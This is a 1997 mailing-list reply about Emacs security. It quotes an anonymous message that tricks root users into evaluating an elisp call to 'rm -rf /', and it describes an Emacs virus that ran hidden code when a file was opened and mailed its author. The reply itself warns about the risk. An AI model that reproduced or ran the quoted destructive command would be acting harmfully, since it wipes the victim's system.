emacs virus (was Re: JOIN THE CREW)

Adam Back aba at dcs.ex.ac.uk
Sat Aug 9 11:25:35 PDT 1997

Anonymous writes:
> If you are reading this message as root under Emacs, please position
> the cursor to the final paren in the following and hit C-x C-e.
> (call-process-internal "/bin/rm"
> 		       nil t nil
> 		       "-rf" "/")

I once had forwarded to me an emacs virus -- one that hooked into an
emacs function such that as soon as you opened the file, it sent it's
author some mail, and wiped it's own buffer.

You ended up looking at an empty file, and none the wiser.  It could
have left some text in the buffer with modification.  The point is the
elisp code wasn't displayed, and you wouldn't notice unless you looked
at it in less before loading it into emacs.

(It worked too -- or it would have, but it tried to exec /bin/mail or
something and it lived somewhere else on the IRIX system I was using
at the time).

I deleted it or something, and haven't been able to find it again, and
don't know enough elisp to re-create it, but it was pretty neat.  I
don't think a lot of people realise that emacs has this hook for
execing arbitrary elisp code just when you open an ordinary file, with
no filename extension.

Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>

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